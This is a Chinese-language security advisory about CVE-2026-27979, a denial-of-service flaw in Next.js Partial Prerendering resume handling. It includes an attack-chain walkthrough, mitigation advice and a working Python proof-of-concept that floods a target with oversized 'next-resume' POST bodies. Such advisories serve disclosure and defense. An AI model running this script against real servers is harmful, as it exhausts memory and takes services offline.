IPBUF安全漏洞报告
English
CVE-2026-27979 CVSS 7.5 高危

CVE-2026-27979 Next.js PPR Resume请求体大小限制缺失导致DoS漏洞

披露日期: 2026-03-18

漏洞信息

漏洞编号
CVE-2026-27979
漏洞类型
资源消耗/拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Next.js

相关标签

Next.js资源消耗拒绝服务PPR请求体缓冲CVE-2026-27979高危漏洞内存耗尽

漏洞概述

Next.js是一个用于构建全栈Web应用程序的React框架。该漏洞影响版本16.0.1至16.1.7,当请求包含`next-resume: 1`头(对应PPR恢复请求)时,系统会缓冲请求体但未能在非minimal部署模式下正确执行`maxPostponedStateSize`大小限制。攻击者可以利用此漏洞发送超大的`next-resume` POST载荷,由于缺少一致的大小限制,服务器将无限缓冲请求体,导致内存过度使用,最终可能造成拒绝服务(DoS)攻击。此漏洞仅影响使用App Router且启用了Partial Prerendering(PPR)功能的应用程序。

技术细节

漏洞根源在于Next.js的PPR(Partial Prerendering)功能中的resume请求处理逻辑。当客户端发送带有`next-resume: 1`头的请求时,服务器端会尝试缓冲请求体以支持恢复操作。然而,在非minimal部署模式下,系统未能正确应用`maxPostponedStateSize`配置参数来限制缓冲大小。攻击者可以构造包含超大请求体的POST请求,并通过`next-resume`头触发恢复流程。由于缺乏大小检查,服务器会将整个请求体加载到内存中,当多个恶意请求并发时,会导致内存资源耗尽。修复版本16.1.7通过在所有延迟体缓冲路径中统一执行大小限制来解决此问题,当超过限制时会返回错误而非无限缓冲。

攻击链分析

STEP 1
步骤1
识别目标应用:攻击者首先识别使用Next.js框架且启用了PPR(Partial Prerendering)功能的Web应用程序
STEP 2
步骤2
构造恶意请求:攻击者构造包含`next-resume: 1`头的HTTP POST请求,该头会触发PPR恢复功能
STEP 3
步骤3
发送超大载荷:在请求正文中包含超过正常大小的数据(可达数十MB甚至更大),绕过非minimal模式下的size限制
STEP 4
步骤4
触发无限制缓冲:服务器接收到请求后,由于缺乏一致的大小检查,会将整个请求体加载到内存中进行缓冲
STEP 5
步骤5
资源耗尽攻击:多个并发恶意请求会导致服务器内存快速耗尽,最终导致拒绝服务

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
#!/usr/bin/env python3 """ CVE-2026-27979 PoC - Next.js PPR Resume Body Buffering DoS This PoC demonstrates sending oversized next-resume POST requests Note: Use only for authorized security testing """ import requests import sys TARGET_URL = "http://target-app.com/api/some-endpoint" def send_malicious_request(url, payload_size_mb=50): """ Send oversized next-resume request to trigger DoS """ headers = { "Content-Type": "application/octet-stream", "next-resume": "1" # Trigger PPR resume functionality } # Generate oversized payload oversized_payload = b"A" * (payload_size_mb * 1024 * 1024) try: print(f"[*] Sending malicious request with {payload_size_mb}MB payload...") print(f"[*] Target: {url}") print(f"[*] Header: next-resume: 1") response = requests.post( url, headers=headers, data=oversized_payload, timeout=30 ) print(f"[*] Response Status: {response.status_code}") return response except requests.exceptions.Timeout: print("[!] Request timeout - potential memory exhaustion") return None except Exception as e: print(f"[!] Error: {e}") return None def check_vulnerability(url): """ Check if target is vulnerable by observing memory behavior """ print("[*] Testing for CVE-2026-27979 vulnerability...") # Send multiple oversized requests for i in range(3): print(f"\n[*] Request {i+1}/3") response = send_malicious_request(url, payload_size_mb=100) if response is None: print("[+] Target appears vulnerable - request failed/timeout") return True return False if __name__ == "__main__": if len(sys.argv) > 1: TARGET_URL = sys.argv[1] check_vulnerability(TARGET_URL)

影响范围

Next.js >= 16.0.1
Next.js < 16.1.7

防御指南

临时缓解措施
如果无法立即升级到Next.js 16.1.7或更高版本,建议在Web服务器或负载均衡器层面临时阻止所有包含`next-resume`头的HTTP请求,因为该头部永远不应该从不受信任的客户端发送。同时建议启用内存监控和异常告警,以便及时发现潜在的攻击行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表